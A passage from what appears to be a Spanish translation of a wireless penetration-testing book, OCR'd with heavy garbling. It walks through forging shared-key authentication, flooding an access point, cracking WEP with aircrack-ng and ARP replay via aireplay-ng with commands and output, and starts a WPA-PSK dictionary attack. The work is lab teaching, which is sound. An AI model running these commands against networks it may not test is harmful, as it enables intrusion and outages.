0020 Be 25 30 00 67 92 6e 00 5a a5 42 fl ac aa 02

Frarne (rarme), 101 bytes JPeckets: 2096 Divplayed: 105 Marked: 0 Dropped; 0 Joechie: Cetack

12. Como aireplay-ng usa la captura Keystream derivada para el cifrado, la autenticacion se
realiza correctamente y el punto de acceso envia un mensaje de éxito en el cuarto paquete:



Gle Lt Yew Go Cepture Snalyze Ratntics pelp I
BN cEXTe A +»wT LB QAN gV EE B 1

() 6kor:[(WTan. adar == aszantan:aszanzan] v | 4 xpression...| & giear| o apey|

§ IEEE 802 Authentication, SN=2955, FN=0, Flags=...
I J =)

* Radiotap Header vO, Length 13

* IEEE 802.11 Authentication, Flags: .p......

~ Data (136 bytes)

Data: SAAS42F1ACAAO21BCO46E2B7DESB962B47644A720A4FDTED. . .

00 00 Od 00 04 80 02 00 02 00 01 00 00 b0 40 3a
SIUIN01 00 21 91 d2 8e 25 aa aa aa aa aa aa 00 21 91
0020 Be 25 30 00 67 92 6e 00 5a a5 42 fl ac aa 02

Frame (Irarne), 101 bytes TPackots: 2096 Divplayed: 105 Marked: O Oropped: 0 Irrohie: Getau

13. Después de que la autenticacion tiene éxito, la herramienta falsifica una asociacién con el punto
de acceso, que sucede asi:

Gl [dt View Go Capture Analyze Statistics Help

Badee EEXes a¢»wTFLER QAR §VE L 8
V) piter: [ (WTan.addr == sazan:as:aa:astes) x| 4 prpresson..| & clear| £ aoph|
No.. |Time | source [Destination [protocal[info e

604 28.856307 D-Link_d2:8e:25 aaiaa:aaiaa:aa:aa IEEE 802 Authentication, SN=2955, FN=0, Flags=...|
605 28.857311 D-Link_d2:8e:25 H : IEEE 802 Authentication, SN=2955, FN=0, Flags

076796 IEEE 802 Association Request, SN=6, FN=0, Fla L
613 29,100485 D-Link_d2:8e:25 @aiaa:aaiaaiaaaa IEEE 802 Association Response, SN=2958, FN=0, Fl:
615 29.076809 aa:aa‘aa'aa‘aa:aa D-Link_d2:8e:25 IEEE 802 Association Request, SN=6, FN=0, Flags=.
616 29.102506 D-Link_d2:8e:25 aa'aa:aaiaa:aalaa IEEE 802 Association Response, SN=2958, FN=0, Fl:
617 29.104437 D-Link_d2:8e:25 IEEE 802 Association Response, SN=2958, FN=0, Fle

| AL LIRLUELL) A 1lal IV B0 eiemimcimmimmimn TPPP OAN bacenleblen Paccee- l_ L L I U F“_‘J:
* Frame 611 (70 bytes on wire, 70 bytes captured) —
» Radiotap Header v0, Length 12
» IEEE 802.11 Association Request, Flags: ........
» IEEE 802,11 wireless LAN management frame
~ Fixed parameters (4 bytes)
+ Capability Information: 0x0431
Listen Interval: 0x0064
» Tagged parameters (30 bytes)
« SSID parameter set: "Wireless Lab"
Tag Number: O (SSID parameter set)
Tag length: 12
Tag interpretation: Wireless Lab M
= Supported Rates: 1.0 2,0 5.5 11.0
Tag Number: 1 (Supported Rates)
Tag length: 4
000 00 00 Oc 00 04 80 00 00 02 00 18 00 00 00 3a 01 . =
010 00 21 91 d2 8e 25 aa aa aa aa aa aa 00 21 91 d2 T I —
020 8e 25 60 00 31 04 64 00 00 Oc 57 69 72 65 6¢ 65 “.l.d. .. Wirele
lnlu “Amp/ethercookOAlve® S0 K. Packets: 2896 Drsplayed: 105 Marked: 0 Dropped: 0 Jerofie: Defouk 1

14 Si usted comprueba los registros inaldmbricos en la interfaz administrativa del punto de acceso, se
deberia ver a un cliente inaldmbrico con una direccion MAC AA: AA: AA: AA: AA: AA conectado:
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DEVICE INFO Helpful Hints...

This is a list of all wireless
Use this option to view the wireless clients that are connected to your wireless router. et ot e Gernity
router.
INTERNET SESSIONS
WIRELESS
Mode Rate Signal (%)

11g 54 100

WIRELESS

Hemos tenido éxito en la obtencién de la trama de un intercambio de autenticaciéon compartida y lo utilizamos
para falsificar un certificado de autenticidad para conectarnos con el punto de acceso.

Inténtalo-Inundar las tahlas del punto de acceso

Los puntos de acceso tienen una cuenta de clientes maximos después de que empiezan a rechazar las
conexiones. Al escribir un script sencillo en aireplay-ng es posible automatizar y enviar cientos de solicitudes
de conexion al azar de direcciones MAC al punto de acceso. Esto terminaria llenando las tablas internas y una vez
que el numero de clientes maximos es alcanzado el punto de acceso que dejar de aceptar nuevas conexiones.
Esto es normalmente lo que se llama un ataque de Denegacidn de Servicio (DoS) y puede forzar que el router se
reinicie o que no funcione correctamente. Esto podria conducir a todos los clientes inaldmbricos a una
desconexion y que no puedan usar la red autorizada.

Comprueba si se puede hacer en el laboratorio!

Examen sorpresa-WLAN autenticacion

1.¢Puedes obligar a un cliente inaldmbrico a volver a re-conectarse al punto de acceso ?

a. Enviando un paquete deautenticacion
b. Reiniciando al cliente

c. Al reiniciar el punto de acceso

d. Todas las anteriores

2. Autenticacioén abierta:

a. Proporciona una seguridad decente

b. No es segura



c. Requiere el uso de cifrado
d. Ninguna de las anteriores
3. Rompiendo la clave de autenticacién compartida estamos haciendo :
a. Derivacion del keystream capturados a los paquetes
b. Derivacién de la clave de cifrado
c. Envio de paquetes de deautenticacién al punto de acceso

d. Reiniciar el punto de acceso

. En este capitulo, hemos aprendido lo siguiente acerca de la autenticacion WLAN:
. SSID oculto es una caracteristica de seguridad que es relativamente facil de superar.

. Filtrado de direcciones MAC no proporciona ninguna seguridad de que las direcciones MAC
puedan ser capturadas en los paquetes inalambricos. Esto es posible porque las direcciones
MAC no estan cifradas en el paquete.

. Autenticacion abierta no proporciona ninguna autenticacion real.

. Autenticacion de clave compartida es un poco dificil de romper pero con la ayuda de las
herramientas adecuadas podemos derivar la cadena de clave (keystream) con la que es
posible responder a todos los futuros modelos enviados por el punto de acceso. El
resultado es que nos podemos autenticar sin necesidad de conocer la clave actual.

En el siguiente capitulo, vamos a ver diferentes mecanismos de encriptacion en WLAN como WEP,
WPA y WPA2 y estudiar a las inseguridades que les afecta.



Defectos de cifrado WLAN

o "640 K de memoria es mas de lo que nadie va a necesitar." -

Bill Gates, fundador de Microsoft

b * Incluso con la mejor de las intenciones, el futuro es siempre impredecible. El comité

\‘-. 2 de WLAN disefiada WEP y WPA luego de ser tonto a prueba los mecanismos de
cifrado, pero con el tiempo, estos dos mecanismos se habia fallas, las cuales han
sido ampliamente divulgados y explotados en el mundo real.

Los mecanismos de encriptacion WLAN han tenido una larga historia de ser vulnerables a ataques criptograficos.
Todo comenzd con WEP a principios de 2000 que al final fue roto por completo. En los tltimos tiempos, los
ataques son dirigidos poco a poco a WPA. A pesar de que no hay ningun ataque disponible al publico en la
actualidad para romper WPA en todas las condiciones hay ataques que son factibles bajo circunstancias

especiales.
En este capitulo, vamos a examinar lo siguiente:

. Diferentes esquemas de cifrado en las redes WLAN
e  Cracking de encriptacién WEP
. Cracking de encriptacién WPA

Las WLAN transmiten datos a través del aire y por lo tanto hay una necesidad inherente a la proteccién de los
datos para que sean confidenciales. Esto se logra mediante el cifrado. El comité de WLAN (IEEE 802.11) formuld
los siguientes protocolos de cifrado de datos:

e  Wited Equivalent Privacy (WEP)
e  WiHi Protected Access (WPA)
. WiFi Protetion Access v2 (WPA2)

Aqui, vamos a ver cada uno de estos protocolos de cifrado y demostrar varios ataques contra ellos.



Encriptacion WEP

El protocolo WEP se sabia que era imperfecto desde el afio 2000, pero, sorprendentemente, todavia contintia
siendo utilizado y los puntos de acceso aun incluyen capacidades WEP habilitadas.

Hay muchas debilidades criptograficas de WEP que fueron descubiertos por Walker, Arbaugh, Fluhrer, Martin,
Shamir, KoreK y muchos otros. El analisis WEP desde un punto de vista criptografico esta fuera del alcance de
este libro ya que implica la comprension de las matematicas complejas. Aqui, vamos a buscar la forma de romper
la encriptacion WEP utilizando las herramientas disponibles en la plataforma de BackTrack. Esto incluye toda la
suite de herramientas de Aircrack-ng como son airmon-ng, aireplay-ng, airodump-
ng,aircrack-ny otros.

Vamos a configurar el cifrado WEP en nuestro laboratorio de pruebas y ver cdmo se puede romper.
Parte practica-Cracking Wep
Siga las instrucciones para comenzar:

1.  Primero vamos a conectar a nuestro punto de acceso Wireless Lab y vaya a la zona de ajustes que se
ocupa de los mecanismos de cifrado inaldambrico:

STATUS

Use this section to configure the wireless settings for your D-Uink Router. Please note that
changes made on this section may akso need to be dupkcated on your Wireless Chent,

| sove setsngs | | Don't Sove settngs |

WIRELESS NETWORK SETTINGS

Enable Wireless © V| Ay o 'wm\
Wireless Network Name @\ eless Lab (A0 called the SSID)
802.11 Mode :  Mwrd 302,110, 502. 1igand 302.11b «
Enable Auto Channel Scan @
Wircless Channel © 2.926Hr (K11«
Rate: Best (sulomstc) ~ (Mba/s)
Channel width : 20 -
Visibility Status : @ Veble O Invebie

WIRELESS SECURITY MODE

To protect your privacy you can configure wae securky es. The device supports three
wreless securty modes, ncudng WEP, WPA-Personal, and v terprse. WEP & the ongnal
wireless encryption standard. WPA prowides a 2r level of se \WPA-Personal does not
requre an authentication server. The WPA Enterprese aption reguires an external RADIUS server.

Security Mode :  bere 3

WIRELESS

2. En mipunto de acceso esto se puede hacer establiendo el modo de seguridad en WEP. También
tendra que establecer la longitud de la clave WEP. Como se muestra en la siguiente captura de pantalla,
yo he puesto WEP para usar claves de 128 bits. He puesto la clave WEP por defecto WEP Key 1y he
establecido el valor en hexadecimal a abcdefabcdefabcdefabcdef12 como clave de 128 bits WEP.
Puede configurar esta opcion a su gusto:



WIRELESS NETWORK SETTINGS
Enable Wireless - Always
Wireless Hetwork Name :  \ireless Lab (Also called the SSID)
802.11 Mode : Mixed 802.11n, 802.11gand 802.11b
Enable Auto Channel Scan : [[]
Wireless Channel : 2.482GHz -CH 11 ~
Transmission Rate : Best (automatic) ~ (Mbit/s)
Channel Width : 20 MHz -
Visibility Status : @ Visble O Invisible

WIRELESS SECURITY MODE

To protect your privacy you can configure wireless security features. This device supports three
wireless security modes, including WEP, WPA-Personal, and WPA-Enterprise. WEP is the original
wireless encryption standard. WPA provides a higher level of security. WPA-Personal does not
require an authentication server. The WPA-Enterprise option requires an external RADIUS server.

Security Mode :

WEP is the wireless encryption standard. To use it you must enter the same key(s) into the
router and the wireless stations. For 64 bit keys you must enter 10 hex digits into each key box.
For 128 bit keys you must enter 26 hex digits into each key box. A hex digit is either a number
from 0 to 9 or 2 letter from A to F. For the most secure use of WEP set the authentication type
to "Shared Key" when WEP is enabled.

You may also enter any text string into a WEP key box, in which case it will be converted into a
hexadecimal key using the ASCII values of the characters. A maximum of 5 text characters can
be entered for 64 bit keys, and a maximum of 13 characters for 128 bit keys.

If you choose the WEP security option this device will ONLY operate in Legacy Wireless mode
(802.11B/G). This means you will NOT get 11N performance due to the fact that WEP is not
supported by Draft 11N specification.
WEP Key Length : 125 bit (36 hex digits) = (length applies to all keys)
WEPKey 1: sssessssssssssssssssasss
WEP KEY 2: sssesssscsssscsssensasss
WEP Key 3: sesessssssssssnnssncnses
WEP Key 4. seeessnnssenssecssssnses
Default WEP Key : WEPKsy 1 -
Authentication : SharedKey

WIRELESS

3. Una vez que los ajustes se aplican el punto de acceso ofrece WEP como mecanismo de cifrado.
Ahora vamos a configurar la maquina atacante.

4. Vamos a abrir wlan0 ejecutando el comando i fconfig wlanO up. Entonces ejecutamos
airmon-ng start wlanO para crear lainterfaz mon0 que es la interfaz en modo monitor, como
se muestra en la siguiente captura de pantalla. Verifique que la interfaz ha sido creada usando
iwconfig:

Session Edit View Bookmarks Settings Help
i
~#
:~# airmon-ng start wlan@
Interface Chipset Driver
lwiane RTL8187 rt18187 - [phye]
(monitor mode enabled on mon®)
~#
# iwconfig
lo no wireless extensions.
lethe no wireless extensions.

jwmaster® no wireless extensions.

wlano IEEE 802.11bg ESSID:
Mode:Managed Frequency:2.412 GHz Access Point: Not-Associated
Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:® Signal level:® Noise level:0
Rx invalid nwid:® Rx invalid crypt:® Rx invalid frag:0
Tx excessive retries:® Invalid misc:0 Missed beacon:@

mon® IEEE 802.11bg Mode:Monitor Frequency:2.412 GHz Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:® Signal level:® Noise level:0

ae N K N N4 ~ @ root@bt: ~ - Shell - Ko e @
e—




5.Vamos a ejecutar airodump-ng para localizar nuestro punto de acceso de laboratorio con el
comando airodump-ng mon0. Como se puede ver en la siguiente captura podemos ver el punto de
acceso inalambrico Wwireless Lab funcionando con cifrado WEP:

- @ root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help
CH 1 ][ Elapsed: 4 s ][ 2011-02-06 03:21
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -14 12 © 11 54 . WEP WEP Wireless Lab
00:25:5E:17:41:4F -40 12 c] c] 1 54 OPN <length: 0>
00:25:5E:17:41:4D -40 12 c] c] 1 54 OPN <length: 0=
00:25:5E:17:41:4C -34 13 5 c] 1 54 WPA  TKIP PSK Vivek
00:25:5E:17:41:4E -43 13 c] c] 1 54 OPN <length: 0>
50:67:F0:87:D8:CF -66 2 c] c] 6 54 . WPA TKIP PSK shrooti
00:17:7C:09:CF:10 -66 4 o @ 11 54e WPA TKIP PSK Sunny
BSSID STATION PWR Rate Lost Packets Probes
00:25:5E:17:41:4C 0©0:22:FB:35:FC:44 -9 24 - 5 (] 5
~#

6. Para este ejercicio, sélo estamos interesados en Wireless Lab, asi que vamos escribir en consola
airodump-ng -bssid 00:21:91:D2:8E:25 -- canal 11 --write
WEPCrackingDemo monO para vero sélo los paquetes para esta red. Ademas, le decimos a
airodump-ng que guarde los paquetes en un archivo .pcap con la directiva -—write

root@bt: ~ - Shell - Konsole <2>

Session Edit View Bookmarks Settings Help

:~# airodump-ng --bssid 00:21:91:D2:8E:25 --channel 11 --write WEPCrackingDemo mon®

~#
]

lon  Edit  View Bookmarks Settings Help

CH 11 ][ Elapsed: © s ][ 2011-02-06 03:31

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -19 83 27 a @ 11 54 . WEP WEP Wireless Lab
BSSID STATION PWR Rate Lost Packets Probes

7. Ahora vamos a conectar nuestro cliente inaldmbrico al punto de acceso y el usamos la clave WEP
abcdefabcdefabcedefabedefl2. Unavez que el cliente se ha conectado correctamente,
airodump-ng debe informar en la pantalla:

root@bt: — - Shell - Konsole <2>

Session  Edit View Bookmarks Settings Help

CH 11 ][ Elapsed: 8 mins ][ 2011-02-06 03:38 ][ 140 bytes keystream: 00:21:91:D2:8E:25

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -18 100 4399 61 c] 11 54e. WEP WEP SKA Wireless Lab
BSSID STATION PWR Rate Lost Packets Probes
00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -9 0 -54e ] 41 Wwireless Lab

8.Si usted hace un 1s en el mismo directorio podras ver los archivos con el nombre
WEPCrackingDemo—-* como se muestra en |a siguiente captura de pantalla. Estos son de descarga
de tréfico los archivos creados por airodump-ng:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

~# 1s
WEPCrackingDemo-01-00-21-91-D2-8E-25.xor WEPCrackingDemo-01.kismet.csv
WEPCrackingDemo-01.cap WEPCrackingDemo-01.kismet.netxml
WEPCrackingDemo-01.csv cdrom

#

T~

= |




9. Si se observa la pantalla de ai rodump-ng, el nimero de paquetes de datos que figuran en la
columna de datos es muy pequefio (solo 68). Para romper el protocolo WEP es necesario un gran
numero de paquetes de datos cifrados con la misma clave para explotar la debilidad en el protocolo.
Por lo tanto vamos a tener que obligar a la red a generar mas paquetes de datos. Para hacer esto
vamos a utilizar la herramienta aireplay-ng.

root@bt: ~ - Shell - Konsole <2>

Session Edit View Bookmarks Settings Help

CH 11 ][ Elapsed: 13 mins ][ 2011-02-06 03:44 ][ 140 bytes keystream: 00:21:91:D2:8E:25

BSSID PWR RXQ Beacons #Data, #/s CH MB  ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -7 84 7562 68 0 11 54e. WEP WEP SKA Wireless Lab
BSSID STATION PWR  Rate Lost Packets Probes
00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -14 0 - 1le 0] 45 Wireless Lab

10.Vamos a capturar los paquetes ARP en la red inaldmbrica usando aireplay-ng e inyectarlos de
nuevo en la red, para simular las respuestas ARP. Iniciamos aireplay-ng en una ventana separada,
como se muestra en la siguiente captura de pantalla. Reproduciendo estos paquetes unos pocos miles
de veces vamos a generar una gran cantidad de trafico de datos en la red. A pesar de que
aireplay-ng no sabe la clave WEP es capaz de identificar los paquetes ARP mirando el tamafio de
los paquetes. ARP es un protocolo de cabecera fija y por lo tanto el tamafio de los paquetes ARP se
puede determinar facilmente y se puede utilizar para la identificacion de estos paquetes incluso con el
trafico cifrado. Vamos a ejecutar aireplay-ng con las opciones que se muestran a continuacion. La
opcion 3 es para la reproduccion de ARP, -b especifica el BSSID de nuestrared y —-h especifica la
direccion MAC del cliente al que estamos suplantacion la identidad. Como ataque de repeticion sélo
funcionard para los clientes autenticados y direcciones MAC asociadas.

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# aireplay-ng -3 -b 00:21:91:D2:8e:25 -h 60:Tb:42:d5:e4:01 mono]]

11. Inmediatamente se puede ver que aireplay-ng es capaz de capturar los paquetes de ARP y ha
empezado a enviarlos a la red:

e

root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help

:~# aireplay-ng -3 -b 00:21:91:D2:8e:25 -h 60:fb:42:d5:e4:01 mon0®
The interface MAC (00:C0:CA:3E:BD:93) doesn't match the specified MAC (-h).
ifconfig mon® hw ether 60:FB:42:D5:E4:01
03:59:25 Waiting for beacon frame (BSSID: 00:21:91:D2:8E:25) on channel 11
Saving ARP requests in replay arp-0206-035925.cap
You should also start airodump-ng to capture replies.
Read 6043 packets (got 1886 ARP requests and 1869 ACKs), sent 1963 packets... (500 pps)

12. En este punto, airodump-ng también comenzard a registrar una gran cantidad de paquetes de

datos. Todos estos paquetes capturados se almacenan en los archivos * WEPCrackingDemo-que ya
vimos anteriormente:

root@bt: — - She|
Session Edit View Bookmarks Settings Help

CH 11 ][ Elapsed: 30 mins ][ 2011-02-06 04:01 ][ 140 bytes keystream: 00:21:91:D2:8E:25

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -6 100 16387 11190 © 11 54e. WEP WEP SKA Wireless Lab
BSSID STATION PWR Rate Lost Packets Probes

00:21:91:D2:8E:25 60:FB:42:D5:E4:01 Q Q-1 aQ 22026 Wireless Lab




13. Ahora, vamos a empezar con la parte real del hacking. Ejecutamos aircrack-ng con las
opciones WEPCRackingDemo-01.cap en una nueva ventana. Se iniciara el software de
aircrack-ngy se comienza a trabajar en romper la clave WEP utilizando los paquetes de datos en
el archivo. Tenga en cuenta que es una buena idea contar con airodump-ng capturando los
paquetes WEP, aireplay-ng haciendo la repeticion del ataque y Aircrack-ng tratando de
obtener la clave WEP basada en los paquetes capturados, todo al mismo tiempo. En este
experimento, todos ellos estan abiertos en ventanas independientes:

root@bt: ~ - Shell - Konsole <3>

Session Edit View Bookmarks Settings Help

:~# aircrack-ng WEPCrackingDemo-01.cap
Opening WEPCrackingDemo-01.cap
Read 189695 packets.
# BSSID ESSID Encryption
1 00:21:91:D2:8E:25 Wireless Lab WEP (11196 IVs)

Choosing first network as target.

Opening WEPCrackingDemo-01.cap
Reading packets, please wait...

14. La pantalla debe parecerse a la siguiente captura de pantalla, cuando aircrack-ng esta
trabajando en los paquetes para romper la clave WEP:

root@bt: ~ - Shell - Konsole <3>
Session Edit View Bookmarks Settings Help
Aircrack-ng 1.0 r1645
[00:00:04] Tested 331777 keys (got 11111 IVs)
KB depth  byte(vote)
0 0/ 2 AB(17664) 1D(16640) 5A(15360) BA(15360) D1(15104) 07(14848) E8(14848) FO(14848)
1 0/ 1 DD(17664) 78(16384) BO(16384) 25(15104) 48(14848) 36(14592) 79(14336) OF (14080)
2 1/ 3 92(15872) 84(15616) 1A(15360) 38(15104) 14(14848) 29(14848) A1l(14592) C1(14592)
3 1/ 2 7C(16896) FF(16384) 7A(16128) 12(15360) 47(15360) B7(15360) 85(15104) 94(15104)
4 3/ 4 0B(15872) CB(15616) OF(15104) B1(15104) A9(14848) C4(14848) 2A(14592) 36(14592)
5 2/ 3 46(14848) 47(14592) 5C(14592) 9A(14336) 30(14080) 46(14080) 4C(14080) 6A(14080)
6 3/ 4 2B(15104) 44(14592) A4(14592) EC(14592) 24(14080) 2B(14080) 3B(14080) 6D(14080)
7 1/ 2 56(15872) 0C(14848) 21(14848) 5C(14848) D8(14848) F9(14848) 2C(14336) 40(14336)
8 3/ 4 02(14848) D4(14592) E4(14592) 11(14336) 13(14336) 70(14336) BC(14336) 46(14080)
9 2/ 3 B3(16384) 5E(15872) D4(15872) 4C(15104) EB(14848) 6F(14592) BC(14592) EO(14592)
10 1/ 2 5B(15616) 03(14592) 24(14592) 5F(14592) 68(14592) E0(14592) 5E(14336) 95(14336)
11 2/ 3 (8(15616) A6(15360) 39(15104) D7(14848) 95(14592) BD(14592) 46(14336) 0B(14080)
12 5/ 6 6B(15104) 15(14848) 57(14848) 70(14592) CE(14592) 0A(14336) 6F(14336) CA(14336)

15. El nimero de paquetes de datos necesarios para obtener la clave no es determinante, pero en
general va en el orden de cien mil o més. En una red rapida (o usando aireplay-ng), sellevard de
5-10 minutos a lo sumo. Si el nimero de paquetes de datos en la actualidad en el archivo no son
suficientes, aircrack-ng se detendrd, como se muestra en la siguiente captura de pantallay
esperard que mds paquetes sean capturados y luego se reiniciara el proceso de craqueo de nuevo:

root@bt: ~ - Shall - Konsole <3>

Session  Edit View Bookmarks Settings Help

Alrcrack-ng 1.0 rle4s

[00:01:49] Tested 144029 keys (got 11199 IVs)

B depth byte(vote)

] 9/ 1@ CA(14592) 15(14080) 32(14080) 7D(14080) 6C(13824) 90(13824) E5(13824) 3D(13568)
1 9/ 14 FA(14336) S5A(14080) 61(14080) 6B(14080) BC(14080) C1(14080) C7(14080) F1(14080)
2 18/ 2 D4(13824) 26(13568) 5F(13568) A5(13568) FE(13568) 19(13312) 1D(13312) 22(13312)
3 17/ 18 FE(14080) 60(13824) 8C(13824) DD(13824) F6(13824) 10(13568) 39(13568) A6(13568)
4 25/ 4 FC(13824) 60(13568) 68(13568) 1E(13312) 5D(13312) 62(13312) 80(13312) 9E(13312)

iai'l.ed. Next try with 15000 IVs.




16. Una vez que suficientes paquetes de datos han sido capturados y procesados, Aircrack-ng
debe ser capaz de romper la clave. Una vez que lo hace lo muestra en la terminal y sale como se
muestra en la siguiente pantalla:

root@bt: ~ - Shell - Konsole <3>

Session Edit View Bookmarks Settings Help

Aircrack-ng 1.0 rilé45

[00:25:36] Tested 1285089 keys (got 48988 IVs)

KB depth  byte(vote)

® 0/ 1 AB(75520) 4D(56576) 90(56320) 3A(56064) 2B(55552) B7(55552) BA(55552) CB(55552)
1 o/ 1 CD(72704) 6C(60160) 7A(59904) A0(57088) D6(56832) BC(56576) C5(56576) 1E(56320)
2 o/ 1 EF(69888) ED(58368) EE(57600) AF(57344) 9A(56832) 51(56320) A3(56328) C5(56320)
3 0/ 1 AB(64512) 47(60416) B9(660416) 5E(59392) A1(57856) 82(57600) E1(57088) E7(56576)
4 0/ 1 (D(65024) 7D(59904) 43(58624) F9(58112) 03(57088) EE(56576) 41(56320) 28(55552)
5 1/ 5 51(58112) 6D(57856) 72(57344) CE(57088) 44(56320) 5C(55808) 9E(55552) 05(55040)
6 0/ 1 AB(67584) A4(58624) 6D(58112) FB(57856) 16(57344) A2(57088) 24(56832) 91(56832)
7 0/ 1 (D(65024) 8B(58112) 40(57856) D5(57856) 81(57344) D6(57344) DA(57088) 8E(55808)
8 o/ 1 EF(67072) F7(58880) 66(58624) A8(57856) 5D(57344) A0(57344) 11(57088) CC(56832)
9 1/ 2 AB(59904) 86(57856) 41(57344) 94(57344) 0A(56576) 08(56320) 25(56064) A9(56064)
10 1/ 1 2C(58112) EO(57600) FB(57344) 47(56576) 9D(56576) C4(56576) 17(55552) 21(55552)
11 1/ 1 A8(57856) 48(57600) 9F(57600) 34(56832) AF(56320) D7(56320) 8D(56064) 22(55808)
12 1/ 2 12(57308) CE(55844) A4(55076) 1B(54892) 68(54784) C0(54784) 66(54748) 4F(54564)

KEY FOUND! [ AB:CD:EF:AB:CD:EF:AB:CD:EF:AB:CD:EF:12 ]
Decrypted correctly: 100%

~#

17. Es importante sefialar que WEP es totalmente insegura y cualquier clave WEP (sin importar su
complejidad) serad hackeada por aircrack-ng. El Unico requisito es que un gran ndmero suficiente
de paquetes de datos, encriptados con esta clave sean puestos a disposicion de Aircrack-ng.

¢0ué ha pasado?

Hemos creado WEP en nuestro laboratorio y roto con éxito la clave WEP. Con ese fin primero
esperamos a que un cliente legitimo de la red se conectase al punto de acceso. Después de esto
hemos utilizado la herramienta aireplay-ng para reproducir los paquetes ARP (Addres Resolition
Protocol o Protocolo de Resolucidn de Direcciones) en la red. Esto hizo que la red re-enviara paquetes
ARP aumentado asi el nimero de paquetes de datos enviados. A continuacién utilizamos aircrack-ng
para obtener la clave WEP mediante el analisis criptografico de esos paquetes de datos.

Tenga en cuenta que, también podemos suplantar la autenticacion en el punto de acceso utilizando la
técnica de bypass de clave compartida que hemos aprendido en el Gltimo capitulo. Esto puede ser Util
si el cliente sale de la red legitima. Asi se asegurara de que puede suplantar un certificado de
autenticidad y asociacion y continuar enviando nuestra reproduccion de paquetes a la red.

Inténtalo- suplantacion de autenticacion crackeando WEP.

En el ejercicio anterior, si el cliente legitimo se desconecta de repente de la red, nosotros no seriamos capaces
de reproducir los paquetes con el punto de acceso ya que no acepta paquetes de los clientes no asociados.

Sus envios serian un certificado falso de autenticidad y de asociacién con la autenticacion de clave compartida
que hemos aprendido en el Ultimo capitulo, mientras estamos tratando de romper el protocolo WEP. Inicia
sesion como cliente legitimo de la red y comprueba si aun eres capaz de inyectar paquetes en la red y si el punto
de acceso acepta y responde a ello



WPA/WPA2

WPA (WPA v1 como se le conoce a veces), utiliza principalmente el algoritmo de cifrado TKIP. TKIP esta orientado
a mejorar WEP sin necesidad de implementar nuevo hardware para ejecutarlo. WPA2 en contraste utiliza
obligatoriamente el algoritmo AES-CCMP para el cifrado, que es mucho mas potente y robusto que TKIP.

Ambos WPA y WPA2 permiten la autenticacion basada en EAP, el uso de servidores Radius (Enterprise) o una
clave pre-compartida PSK basada en el sistema de autenticacion

WPA/WPA2 PSK es vulnerable a un ataque de diccionario. Las fases necesarias para este ataque son el saludo de
cuatro vias WPA entre cliente y punto de acceso y una lista de palabras que contienen frases comunes. Luego,
utilizando herramientas como Aircrack-ng, se puede tratar de romper la contrasefia PSK WPA / WPA2.

Una ilustracién del saludo de cuatro vias se muestra en la siguiente pantalla:

SHpplant Q Authenticator
N 4 Probe Request-Response \
€rermmmemssmssmsEsmEmsesssEsssssmEEEsessesee- >
l Authentication RR, Association RR
| Pre-Shared Key 256 bit | | Pre-Shared Key 256 bit |
Message nonemrerr T
PR L L ANounce
Snounce
PTK
— Message2 L ;
Snounce + MIC
Message 3. __ooacoeer=" """
Key Installed | < ~"Key Installati®
______________________ Messaged =~ e
Key Install Acknowledgement

La forma en que trabaja WPA/WPA2 PSK se deriva de las sesiones por clave llamada clave transitoria por parejas
(PTK o Pairwise Transitien Key), con el Pre-Shared Key y cinco pardmetros: SSID de la red, Nounce autenticador
(ANoncen), Nounce Suplicante (SNounce ), autenticador de direccion MAC (Acces Point MAC) y suplicante de
direccion MAC (Suplicant MAC Address (Wi-Fi cliente MAC)). Esta clave se utiliza para cifrar todos los datos
entre el punto de acceso y el cliente.

Un atacante que estad escuchando toda esta conversacion, auditando el aire, puede conseguir los cinco
pardmetros mencionados en el parrafo anterior. Lo Unico que no tiene es la clave pre-compartida. Entonces,
é¢cdmo se crea la clave pre-compartida (pre-shared Key o PSK? Se obtiene mediante el uso de la frase de
contrasefia o frase de paso WPA-PSK suministrada por el usuario, junto con el SSID. La combinacion de estas dos
se envia a través de la Derivacion de contrasefia de la base de funciones clave (PBKDF2 o Password Based Key
Derivation Function), que emite la clave compartida de 256-bit.



En un tipico ataque de diccionario WPA/WPA2 PSK, el atacante utiliza un diccionario de frases posibles con la
herramienta de ataque. La herramienta obtiene la Pre-Shared Key de 256-bit de cada una de las frases y usandola
con los otros pardmetros, se describe la creacion de la mencionada PTK. La PTK se utilizara para verificar la
comprobacion de integridad del mensaje (MIC Message Integrity Check) en cada uno de los paquetes del
apreton de manos (handshake). Si coincide, entonces la frase del diccionario era correcta, de lo contrario, era
incorrecta. Finalmente, si la red autorizada la frase existente en el diccionario, serd identificado. Asi es
exactamente como el cracking WPA/WPA2 PSK funciona! La figura siguiente ilustra los pasos a seguir:

4 Way Handshake

SNonce
ANonce
Pre-Shared Key 256 bit > AP MAC

Client MAC

f

N b4
PBKDF2 (SSID)
% PTK
¥

f

Verify by Checking the MIC

En el siguiente ejercicio, vamos a ver como romper una red inaldmbrica WPA-PSK. Los mismos pasos exactos
estaran involucrados para romper una red WPA2-PSK con CCMP (AES).

Parte practica- Cracking frase de paso deébil en WPA-PS

Siga las instrucciones para comenzar:

1. Primero vamos a conectar a nuestro punto de acceso y configurarlo para utilizar WPA-PSK. Vamos a
establecer la contrasefia en abcdefgh WPA-PSK, por lo que es vulnerable a un ataque de diccionario:

WIRELESS NETWORK SETTINGS

Enable Wireless (¥ amoys « | [ Addew |

Wireless Network Name :  Wireless Lab (Also called the S5ID)
802.11 Mode : Mxed 802,11, 802.11g and 802.11b —
Enable Auto Channel scan : (7]
Wireless Channel : | 2,462 GHz -CH 11 ~
